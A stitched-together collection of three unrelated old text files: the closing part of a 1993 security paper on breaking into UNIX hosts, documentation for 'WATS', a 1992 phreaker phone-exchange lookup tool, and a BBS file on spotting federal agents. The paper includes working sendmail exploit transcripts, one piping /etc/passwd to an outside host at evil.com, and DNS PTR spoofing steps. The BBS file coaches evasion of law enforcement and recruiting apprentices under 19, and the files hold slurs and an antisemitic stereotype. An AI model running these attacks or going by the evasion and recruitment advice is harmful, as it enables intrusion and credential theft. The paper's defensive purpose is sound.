evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null A lot of things can be found out by just asking sendmail if an address is acceptable (vrfy), or what an address expands to (expn). When the finger or rusers services are turned off, vrfy and expn can still be used to identify user accounts or targets. Vrfy and expn can also be used to find out if the user is piping mail through any program that might be exploited (e.g. vacation, mail sorters, etc.). It can be a good idea to disable the vrfy and expn commands: in most versions, look at the source file srvrsmtp.c, and either delete or change the two lines in the CmdTab structure that have the strings "vrfy" and "expn". Sites without source can still disable expn and vrfy by just editing the sendmail executable with a binary editor and replacing "vrfy" and "expn" with blanks. Acquiring a recent version of sendmail (see Appendix D) is also an extremely good idea, since there have probably been more security bugs reported in sendmail than in any other UNIX program. ---- As a sendmail-sendoff, there are two fairly well known bugs that should be checked into. The first was definitely fixed in version 5.59 from Berkeley; despite the messages below, for versions of sendmail previous to 5.59, the "evil.com" gets appended, despite the error messages, along with all of the typical mail headers, to the file specified: % cat evil_sendmail telnet victim.com 25 << EOSM rcpt to: /home/zen/.rhosts mail from: zen data random garbage . rcpt to: /home/zen/.rhosts mail from: zen data evil.com . quit EOSM evil % /bin/sh evil_sendmail Trying 128.128.128.1 Connected to victim.com Escape character is '^]'. Connection closed by foreign host. evil % rlogin victim.com -l zen Welcome to victim.com! victim % The second hole, fixed only recently, permitted anyone to specify arbitrary shell commands and/or pathnames for the sender and/or destination address. Attempts to keep details secret were in vain, and extensive discussions in mailing lists and usenet news groups led to disclosure of how to exploit some versions of the bug. As with many UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem, since they all share a common source code tree ancestry. Space precludes us from discussing it fully, but a typical attack to get the password file might look like this: evil % telnet victim.com 25 Trying 128.128.128.1... Connected to victim.com Escape character is '^]'. 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 mail from: "|/bin/mail zen@evil.com < /etc/passwd" 250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok rcpt to: nosuchuser 550 nosuchuser... User unknown data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit Connection closed by foreign host. evil % At the time of writing, version 8.6.4 of sendmail (see Appendix D for information on how to get this) is reportedly the only variant of sendmail with all of the recent security bugs fixed. Trust ----- For our final topic of vulnerability, we'll digress from the practical strategy we've followed previously to go a bit more into the theoretical side, and briefly discuss the notion of trust. The issues and implications of vulnerabilities here are a bit more subtle and far-reaching than what we've covered before; in the context of this paper we use the word trust whenever there is a situation when a server (note that any host that allows remote access can be called a server) can permit a local resource to be used by a client without password authentication when password authentication is normally required. In other words, we arbitrarily limit the discussion to clients in disguise. There are many ways that a host can trust: .rhosts and hosts.equiv files that allow access without password verification; window servers that allow remote systems to use and abuse privileges; export files that control access via NFS, and more. Nearly all of these rely on client IP address to hostname conversion to determine whether or not service is to be granted. The simplest method uses the /etc/hosts file for a direct lookup. However, today most hosts use either DNS (the Domain Name Service), NIS, or both for name lookup service. A reverse lookup occurs when a server has an IP address (from a client host connecting to it) and wishes to get the corresponding client hostname. Although the concept of how host trust works is well understood by most system administrators, the _dangers_ of trust, and the _practical_ problem it represents, irrespective of hostname impersonation, is one of the least understood problems we know of on the Internet. This goes far beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing systems -- indeed, much of the useful services in UNIX are based on the concept that well known (to an administrator or user) sites are trusted in some way. What is not understood is how networking so tightly binds security between what are normally considered disjoint hosts. Any form of trust can be spoofed, fooled, or subverted, especially when the authority that gets queried to check the credentials of the client is either outside of the server's administrative domain, or when the trust mechanism is based on something that has a weak form of authentication; both are usually the case. Obviously, if the host containing the database (either NIS, DNS, or whatever) has been compromised, the intruder can convince the target host that s/he is coming from any trusted host; it is now sufficient to find out which hosts are trusted by the target. This task is often greatly helped by examining where system administrators and system accounts (such as root, etc.) last logged in from. Going back to our target, victim.com, you note that root and some other system accounts logged in from big.victim.com. You change the PTR record for evil.com so that when you attempt to rlogin in from evil.com to victim.com, victim.com will attempt to look up your hostname and will find what you placed in the record. If the record in the DNS database looks like: 1.192.192.192.in-addr.arpa IN PTR evil.com And you change it to: 1.192.192.192.in-addr.arpa IN PTR big.victim.com then, depending on how naive victim.com's system software is, victim.com will believe the login comes from big.victim.com, and, assuming that big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be able to login without supplying a password. With NIS, it is a simple matter of either editing the host database on the NIS master (if this is controlled by the intruder) or of spoofing or forcing NIS (see discussion on NIS security above) to supply the target with whatever information you desire. Although more complex, interesting, and damaging attacks can be mounted via DNS, time and space don't allow coverage of these methods here. Two methods can be used to prevent such attacks. The first is the most direct, but perhaps the most impractical. If your site doesn't use any trust, you won't be as vulnerable to host spoofing. The other strategy is to use cryptographic protocols. Using the secure RPC protocol (used in secure NFS, NIS+, etc.) is one method; although it has been "broken" cryptographically, it still provides better assurance than RPC authentication schemes that do not use any form of encryption. Other solutions, both hardware (smartcards) and software (Kerberos), are being developed, but they are either incomplete or require changes to system software. Appendix B details the results of an informal survey taken from a variety of hosts on the Internet. Protecting the system --------------------- It is our hope that we have demonstrated that even some of the most seemingly innocuous services run can offer (sometimes unexpectedly) ammunition to determined system crackers. But, of course, if security were all that mattered, computers would never be turned on, let alone hooked into a network with literally millions of potential intruders. Rather than reiterating specific advice on what to switch on or off, we instead offer some general suggestions: o If you cannot turn off the finger service, consider installing a modified finger daemon. It is rarely necessary to reveal a user's home directory and the source of last login. o Don't run NIS unless it's absolutely necessary. Use NFS as little as possible. o Never export NFS filesystems unrestricted to the world. Try to export file systems read-only where possible. o Fortify and protect servers (e.g. hosts that provide a service to other hosts -- NFS, NIS, DNS, whatever.) Only allow administrative accounts on these hosts. o Examine carefully services offered by inetd and the portmapper. Eliminate any that aren't explicitly needed. Use Wietse Venema's inetd wrappers, if for no other reason than to log the sources of connections to your host. This adds immeasurably to the standard UNIX auditing features, especially with respect to network attacks. If possible, use the loghost mechanism of syslog to collect security-related information on a secure host. o Eliminate trust unless there is an absolute need for it. Trust is your enemy. o Use shadow passwords and a passwd command that disallows poor passwords. Disable or delete unused/dormant system or user accounts. o Keep abreast of current literature (see our suggested reading list and bibliography at the end of this paper) and security tools; communicate to others about security problems and incidents. At minimum, subscribe to the CERT mailing list and phrack magazine (plus the firewalls mailing list, if your site is using or thinking about installing a firewall) and read the usenet security newsgroups to get the latest information on security problems. Ignorance is the deadliest security problem we are aware of. o Install all vendor security patches as soon as possible, on all of your hosts. Examine security patch information for other vendors - many bugs (rdist, sendmail) are common to many UNIX variants. It is interesting to note that common solutions to security problems such as running Kerberos or using one-time passwords or digital tokens are ineffective against most of the attacks we discuss here. We heartily recommend the use of such systems, but be aware that they are _not_ a total security solution -- they are part of a larger struggle to defend your system. Conclusions ----------- Perhaps none of the methods shown here are surprising; when writing this paper, we didn't learn very much about how to break into systems. What we _did_ learn was, while testing these methods out on our own systems and that of friendly sites, just how effective this set of methods is for gaining access to a typical (UNIX) Internet host. Tiring of trying to type these in all by hand, and desiring to keep our own systems more secure, we decided to implement a security tool (SATAN) that attempts to check remote hosts for at least some of the problems discussed here. The typical response, when telling people about our paper and our tool was something on the order of "that sounds pretty dangerous -- I hope you're not going to give it out to everybody. But you since you can trust me, may I have a copy of it?" We never set out to create a cookbook or toolkit of methods and programs on how to break into systems -- instead, we saw that these same methods were being used, every day, against ourselves and against friendly system administrators. We believe that by propagating information that normally wasn't available to those outside of the underworld, we can increase security by raising awareness. Trying to restrict access to "dangerous" security information has never seemed to be a very effective method for increasing security; indeed, the opposite appears to be the case, since the system crackers have shown little reticence to share their information with each other. While it is almost certain that some of the information presented here is new material to (aspiring) system crackers, and that some will use it to gain unauthorized entrance onto hosts, the evidence presented even by our ad hoc tests shows that there is a much larger number of insecure sites, simply because the system administrators don't know any better -- they aren't stupid or slow, they simply are unable to spend the very little free time that they have to explore all of the security issues that pertain to their systems. Combine that with no easy access to this sort of information and you have poorly defended systems. We (modestly) hope that this paper will provide badly-needed data on how systems are broken into, and further, to explain _why_ certain steps should be taken to secure a system. Knowing why something is a problem is, in our opinion, the real key to learning and to making an informed, intelligent choice as to what security really means for your site. ---- Appendix A: SATAN (Security Analysis Tool for Auditing Networks) Originally conceived some years ago, SATAN is actually the prototype of a much larger and more comprehensive vision of a security tool. In its current incarnation, SATAN remotely probes and reports various bugs and weaknesses in network services and windowing systems, as well as detailing as much generally useful information as possible about the target(s). It then processes the data with a crude filter and what might be termed an expert system to generate the final security analysis. While not particularly fast, it is extremely modular and easy to modify. SATAN consists of several sub-programs, each of which is an executable file (perl, shell, compiled C binary, whatever) that tests a host for a given potential weakness. Adding further test programs is as simple as putting an executable into the main directory with the extension ".sat"; the driver program will automatically execute it. The driver generates a set of targets (using DNS and a fast version of ping together to get "live" targets), and then executes each of the programs over each of the targets. A data filtering/interpreting program then analyzes the output, and lastly a reporting program digests everything into a more readable format. The entire package, including source code and documentation, will be made freely available to the public, via anonymous ftp and by posting it to one of the numerous source code groups on the Usenet. ---- Appendix B: An informal survey conducted on about a dozen Internet sites (educational, military, and commercial, with over 200 hosts and 40000 accounts) revealed that on the average, close to 10 percent of a site's accounts had .rhosts files. These files averaged six trusted hosts each; however, it was not uncommon to have well over one hundred entries in an account's .rhosts file, and on a few occasions, the number was over five hundred! (This is not a record one should be proud of owning.) In addition, _every_ site directly on the internet (one site was mostly behind a firewall) trusted a user or host at another site -- thus, the security of the site was not under the system administrators direct control. The larger sites, with more users and hosts, had a lower percentage of users with .rhosts files, but the size of .rhosts files increased, as well as the number of trusted off-site hosts. Although it was very difficult to verify how many of the entries were valid, with such hostnames such as "Makefile", "Message-Id:", and "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we question the wisdom of putting a site's security in the hands of its users. Many users (especially the ones with larger .rhosts files) attempted to put shell-style comments in their .rhosts files, which most UNIX systems attempt to resolve as valid host names. Unfortunately, an attacker can then use the DNS and NIS hostname spoofing techniques discussed earlier to set their hostname to "#" and freely log in. This puts a great many sites at risk (at least one major vendor ships their systems with comments in their /etc/hosts.equiv files.) You might think that these sites were not typical, and, as a matter of fact, they weren't. Virtually all of the administrators knew a great deal about security and write security programs for a hobby or profession, and many of the sites that they worked for did either security research or created security products. We can only guess at what a "typical" site might look like. ---- Appendix C: After receiving mail from a site that had been broken into from one of our systems, an investigation was started. In time, we found that the intruder was working from a list of ".com" (commercial) sites, looking for hosts with easy-to steal password files. In this case, "easy-to-steal" referred to sites with a guessable NIS domainname and an accessible NIS server. Not knowing how far the intruder had gotten, it looked like a good idea to warn the sites that were in fact vulnerable to password file theft. Of the 656 hosts in the intruder's hit list, 24 had easy-to-steal password files -- about one in twenty-five hosts! One third of these files contained at least one password-less account with an interactive shell. With a grand total of 1594 password-file entries, a ten-minute run of a publically-available password cracker (Crack) revealed more than 50 passwords, using nothing but a low-end Sun workstation. Another 40 passwords were found within the next 20 minutes; and a root password was found in just over an hour. The result after a few days of cracking: five root passwords found, 19 out of 24 password files (eighty percent) with at least one known password, and 259 of 1594 (one in six) passwords guessed. ---- Appendix D: How to get some free security resources on the Internet Mailing lists: o The CERT (Computer Emergency Response Team) advisory mailing list. Send e-mail to cert@cert.org, and ask to be placed on their mailing list. o The Phrack newsletter. Send an e-mail message to phrack@well.sf.ca.us and ask to be added to the list. o The Firewalls mailing list. Send the following line to majordomo@greatcircle.com: subscribe firewalls o Computer Underground Digest. Send e-mail to tk0jut2@mvs.cso.niu.edu, asking to be placed on the list. Free Software: COPS (Computer Oracle and Password System) is available via anonymous ftp from archive.cis.ohio-state.edu, in pub/cops/1.04+. The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl, in pub/security. The latest version of berkeley sendmail is available via anonymous ftp from ftp.cs.berkeley.edu, in ucb/sendmail. Sources for ftpd and many other network utilities can be found in ftp.uu.net, in packages/bsd-sources. Source for ISS (Internet Security Scanner), a tool that remotely scans for various network vulnerabilities, is available via anonymous ftp from ftp.uu.net, in usenet/comp.sources.misc/volume40/iss. Securelib is available via anonymous ftp from ftp.uu.net, in usenet/comp.sources.misc/volume36/securelib. ---- Bibliography: Baldwin, Robert W., Rule Based Analysis of Computer Security, Massachusetts Institute of Technology, June 1987. Bellovin, Steve, Using the Domain Name System for System Break-ins, 1992 (unpublished). Massachusetts Institute of Technology, X Window System Protocol, Version 11, 1990. Shimomura, Tsutomu, private communication. Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992. ---- Suggested reading: Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite", Computer Communication Review 19 (2), 1989; a comment by Stephen Kent appears in volume 19 (3), 1989. Garfinkle, Simson and Spafford, Gene, "Practical UNIX Security", O'Reilly and Associates, Inc., 1992. Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol Study: Network Information Service", Computer Communication Review 22 (5) 1992. Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume Four, Issue Forty-Three, File 14 of 27. Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept 1993. Schuba, Christoph, "Addressing Weaknesses in the Domain Name System Protocal", Purdue University, August 1993. Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM 27 (8), 1984. --

WATS Version 1.0 by Professor Falken & The Aptolcater

(v1.0)(c)1992
(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)

*
*
**
***
**** **** ******* ************** ******
**** * **** *** *** ************ *****
**** *** **** *** *** **** *****
**** *** **** *** ** *** **** *****
**** * * **** *** *** **** *****
***** ***** *** *** **** *****
**** **** *** *** ******
*** ** *******
** * ********
*

VERSION 1.0

800 / 900 Company Ownership Reverse Database

by

Professor Falken & The Aptolcater

(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)
(K-k00L graFiX!)

INTRODUCTION
————

Welcome to WATS!!! WATS is basically an 800 or 900 company exchange
ownership definer. It is VERY similar to the ‘800’ reverse directory
option off of my old program ‘Phreak Tools.’ However, this version is
command line driven, much like my last program ‘CNA Finder v2.0’. This
program has been written under Microsoft C/C++ 7.0 and uses full optimization
for speed of use. WATS is very well behaved, so don’t fear its use under a
multitasking / DOS shell environment.

800 BACKGROUND
————–

The Bell System offered some of the first ‘collect’ calls to numbers
under the ‘ZENITH’ program. To place a collect call to a party which has
been designated a ‘ZENITH’ (Today it would be a normal 800 WATS-line)
telephone number, the caller would dial the operator and give her a
ZENITH number. Usually the ZENITH numbers were four digits long,
the ones I can remember always ended with x000’s. For instance, Northern
States Power’s old Power-Line Emergency number was ZENITH 7000. While
ZENITH guaranteed a called parties acceptance of a charge call, it
still required an operator to manually route the call, putting an extra
burden on the telephone system (yeah right, it MADE jobs!).

But low and behold, a better way of dialing collect was devised,
the 800 WATS areacode. 800 WATS service was made available to the general
public in 1967. At the time, exchanges of WATS numbers were associated with
exact geographic areas. For instance the (800)421-xxxx exchange was routed
to the 213 (now 310) areacode which is Los Angeles California. However,
using this type of routing calls proved to be bamb00zled, because for each
areacode, they needed an 800 exchange.

But after 15 years of scratching Ma’Bells head they decided to change
the way 800 service was set up. In 1982, a computer database was setup to
match the number called to its corresponding set of routing instructions.
Allowing overflow traffic on one companies WATS line to be routed to
another office location of the same company. At the time, this was an
engineering marvel, and Bellcore patted their heads and scratched their
tummys for many days, but possibly not in that order.

In 1984 after the breakup of the Bell System, Bell’s research and
development labs ‘BELLCORE’ assumed the allocation of 800 exchanges.
Then in 1986, Bellcore FROZE all but 35 of AT&T’s 800 exchanges.
The frozen exchanges could not be assigned unless AT&T demonstrated that
70% of all its exchanges were being used. Since 1986, Bellcore has
unfrozen quite a few exchanges to supply the demand of the booming WATS
market. In the ‘WATS’ program, 65 of AT&T’s 800 exchanges are shown as
‘assignable’ and 116 exchanges are shown as ‘frozen’. Those two numbers
correspond to the original 181 geographic exchanges that were in effect
in 1982.

In 1987, Microwave Communications Inc. (MCI) became the first WATS
carrier to directly compete with AT&T in that market. Since then
many companies from US Sprint to Joe Shmo’ and his sister Ho, have started
their own WATS service. Currently, companies wanting to offer 800 service
are assigned an exchange by Bellcore. For instance, if you were to dial
(800)286-xxxx it would be routed to the equipment owned by Southern New
England Telephone.

Mathematically, there are 1000 different exchanges which can be
issued, and there are 10,000 different numbers per exchange. This creates
a grand total of 10 million possible WATS telephone customers. However,
only 80% of those 10 million are ‘usable’ combinations. Those exchanges
that have been deemed unsuitable by Bellcore are any exchanges that start
with 0 or 1, and 211,311,611, and 911 etc. As of this writing only 180
suitable and assignable exchanges remain at Bellcore’s dispensory.

Exchanges assigned by Bellcore do not neccesarily have to be in use.
Sometimes companies are assigned WATS exchanges, yet they have not even
begun operations. In other cases, firms may have merged or terminated
operations and their numbers have not been reassigned at publication time.
Some unused exchanges DO NOT appear in the program as even being assigned.
One small detail is that it is possible for a corporation to be assigned an
exchange and use it exclusively for its own use, rather than selling long
distance time on it.

900 BACKGROUND
————–

The 900 areacode was the first Pay-per-Call / Pay-per-Minute
type of service available to the public. In 1987, the first 900 exchanges
were opened assigned to companies wanting to compete with AT&T. Telesphere
became the first company to offer competing service with AT&T. The assignment
of 900 exchanges is similar to the assignment of 800 exchanges. Because 900
service is still in its infant years (on a Bell scale) not very many exchanges
have been assigned, and those that have been assigned, have not yet begun
service.

INSTRUCTIONS
————

Using WATS is simpler than hacking a Unix, even your crippled
grandmother can use it! For instance, I just got a PBX from some k0de d00d
and I want to know the possibilities of getting busted when I call all my
k-rAdIkal phriends to let them know I just got a k0de. So I check out the
PBX number (800)255-8415 (Actually the National Security Agency). Since
its an 800 number, the first argument on the command line is an ‘8’. The
exchange is 255 and it is the last argument on the command line. You would
type:

——-
[C:\] wats 8 255

WATS v1.0 – 800/900 Exchange Database
Written by Professor Falken & The Aptolcater
Copyright (c) 1992 – Released 8/19/92

Calls placed to (800)255-xxxx are routed through AT&T-C’s Assignable equipment.

[C:\]
——-

This means that the 255 exchange is owned by the AT&T Company, and its
assignable. Doesn’t need much decipherment does it?

To find out who owns a 900 fuckshop exchange, its basically the same as the
800 search. I take my number (900)468-3825 (900-HOT-FUCK) and:

——-
[C:\] wats 9 468

WATS v1.0 – 800/900 Exchange Database
Written by Professor Falken & The Aptolcater
Copyright (c) 1992 – Released 8/19/92

Calls placed to (900)468-xxxx are routed through US Sprint equipment.

[C:\]
——-

Why you would want this type of 900 information, I do not know. Unless you
were going to social engineer yourself a free phone orgasm. Anyhow, this
information is included anyway…

If you ever forget how to run the program just type:
——
[C:\] wats

——

And at the prompt and you will get a quick-usage screen which hopefully
will be helpful, if not you must have the IQ of a retarted lineman- Please
go back and review your 3rd grade homework again.

CONCLUSION & GREETS
——————-

This is the ending of the docs for WATS if there are any bugs or any
questions, I can be reached on the following boards:

806-793-4616 Celestial Woodlands
602-894-1757 UPT Private

Or if you prefer, I can be reached at the following:

Internet: pfalken@mindvox.phantom.com

Of course this documentation would not be complete without the legals…

—————————————————————————-
All company names listed within the WATS program and this document are
registered trademarks. The manner in which they are given here is the way
they are shown in FCC / Bellcore records. This may vary to one extent or
another from their full, official, or corporate names.

The information herein was believed to be complete and correct at
publication time, but is subject to change. The writers assumes no
responsibility for the uses to which this information may be put.

Any relation to persons living or dead is purely coincidential.
—————————————————————————-

Greetings go out to: All X-LOD/H members, X-Phortune 500 members, DPAK,
Neon Knights, Bellcore, Cult of the Dead Cow -cDc- (what happened to Black
Sept again?), Phrack Magazine, 2600 Magazine, Mondo 2000 (RU Sirius/Queen B
your mag is turning lame), Lex, The Ronz!(haha), Red Rebel, The Rebel (718),
Agent Steal, Taran King, Knight Lightning, Doctor Dissector & KC,
Prometheus-BRUTE!, Anarchy, Wintermute, Dr. Cyclops, PJ, Digitone Cypher,
Luis Cipher, INVALiD MEDiA, The VIZ, Twisted Sector, The Ranger, and
Psychedelic C00kie.

Many thanks to The Aptolcater! Later all…

Professor Falken
X-Legion of Doom Hackers!
X-Phortune 500

WATS v1.0 – 800/900 Exchange Database
Written by Professor Falken & The Aptolcater
Copyright (c) 1992 – Released 8/19/92




Watching the Watcher Watching You by Sir Knight

===================================
Watching the Watcher Watching You
===================================
Uploaded to OSUNY BBS by Sir Knight
===================================

[LESSON 1]
THE TRAP
=-=-=-=-=-=
LOOKING FOR A FEDERAL AGENT IS BIG NEWS. OBVIOUSLY, THESE PEOPLE ARE
SLIPPERY AND WILL DISAPPEAR IF BEING NOTICED. A PERFECT EXAMPLE IS RICHARD
SANDZA OF NEWSWEEK FAME WHO GOT SNIFFED OUT BY THE MEMBERS OF A BBS CALLED P80
AND THEN SAT DOWN TO COMPOSE HIS STUNNING INSIGHT INTO THE WORLD OF HACKERS,
“NIGHT OF THE HACKERS”.

ANOTHER WOULD BE CABLE PAIR, WHO IN 1983 CAUSED THE NUMEROUS BUSTS THAT OCCURED
BETWEEN THE SUMMER AND WINTER OF THAT YEAR. BUT HOW DO YOU KNOW WHAT TO LOOK
OUT FOR? WHAT IF YOU SUSPECT SOMEONE BUT ARE NOT SURE…YOU DONT ACCUSE THEM,
JUST REFER BACK TO THESE HANDY LITTLE HINTS….

THIS FILE IS FOR INFORMATIONAL PURPOSES ONLY, AND THE SYSOP IS NOT RESPONSIBLE
FOR WHAT I HAVE ENTERED.

[LESSON 2]
TIPS
=-=-=-=-=-=
HAVE YOU EVER SEEN THIS ON YOUR FAVE RAVE PHREAK BOARD:

“LEAVE ME A PHONE NUMBER AND I WILL GET IN TOUCH WITH YOU..WE CAN TRADE
SOMECODEZ…”

THIS PERSON IS OBVIOUSLY BLOTTED OUT OF HIS GOURD, OR HE IS TRYING TO GET SOME
INFO ON YOU! FEDS WANT TO KNOW PEOPLE AND KNOW AS MUCH ABOUT THEM AS THEY CAN
WITHOUT GETTING FOUND OUT. SO, DONT MESS WITH THESE KINDS OF PEOPLE.

HOW ABOUT THIS COMMON ONE:

“CAN I HAVE A TRW ACCOUNT FOR A SYSTEM? I AM REAL INTERESTED…”

LISTEN. DURING THIS TERRIBLE YULETIDE OF TERROR REIGNING FROM MONTANA BUTTHAC
K’S ARTICLE, YOU DONT TRUST ANYONE WITH YOUR PERSONALLY GOTTEN/HACKED OUT
ACCOUNT UNLESS YOU KNOW THEM. AND, ABOVE ALL, DONT POST THEM ON PUBLIC SYSTEMS
WHERE EVERY FED IN 30 STATES CAN GET THEM AND CHECK THEM OUT. IF ENOUGH PEOPLE
HAVE YOUR OWN PERSONAL ACCOUNTS, THEN THE DAMN THINGS ARE LIKELY TO BE TURNED
OFF FROM TOO MANY PEOPLE HAVING A CREDIT CHECK BY THE LENOXX BANK OF MASS.

EVER HEAR–

“GOT ANY NEW VISA’S OR MASTERCARDS?”

WHAT WAS SAID ABOUT PW’S GOES DOUBLE FOR CREDIT CARDS. I WOULD BE DOUBLY
CAREFUL ABOUT THE OBTAINING AND/OR USE OF THEM. I DONT DO THAT STUFF AND NEVER
WILL BECAUSE I DONT WANT TO GIVE THE FEDS THE CHANCE TO SAY,”HEY, THIS KID’S
JUST DROPPING HIS PANTS AND BENDING HIM OVER. LET’S GIVE HIM THE STICK.”

WHAT ABOUT…

“CAN SOMEONE TELL ME HOW TO PHREAK”

OR

“CAN SOMEONE TEACH ME HOW TO HACK

DONT BE TOO TRUSTING ANY MORE ABOUT NEW PHREAKS/HACKS UNLESS THEY LOOK LIKE
INNOCENT KIDS. YOU ALL SHOULD KNOW HOW TO TELL IF THERE IS SOME KID THAT COMES
FROM A GOOD JEWISH, UPPER-MIDDLE CLASS FAMILY THAT WANTS TO KNOW THE HOW-TO
STUFF AND THAT IS OKAY. BUT ALWAYS ASK THREE QUESTIONS OF YOUR APPRENTICES:

1]WHAT IS YOUR NAME
2]WHAT IS YOUR PHONE NUMBER
3]HOW OLD ARE YOU

NUMBER THREE IS CRUCIAL..IF THEY ARE OVER 19 YEARS OF AGE, DONT WASTE YOUR TIME
OR EFFORT. YOU DONT KNOW THEM AND YOU WANT NOTHING TO DO WITH THEM. IF THEY
DO LIE ABOUT THEIR AGE(YOU CAN TELL IF YOU TALK TO THEM VOICE DUM DUM) AND THEY
ARE UNDER 19, THEN YOU CAN TELL THEM OKAY. JUST STAY COOL ABOUT IT.

WELL, THAT IS ALL THAT I CAN THINK OF NOW. IF ANYONE HAS ANY ADDITIONS, YOU CA
N COMPOSE A FILE USING THE P COMMAND.

I WOULD LIKE TO THANK OSUNY BBS FOR ITS CONTINUED EFFORT TO PROVIDE SERVICE TO
THE PHREAK/HACK COMMUNITY AND TO MY FINGERS WITHOUT WHOSE TIRELESS EFFORT I
WOULD NOT HAVE BEEN ABLE TO COMPOSE THIS FILE.

SIR KNIGHT

(*)-THE *ELITE* PHREAKERS CLUB-(*)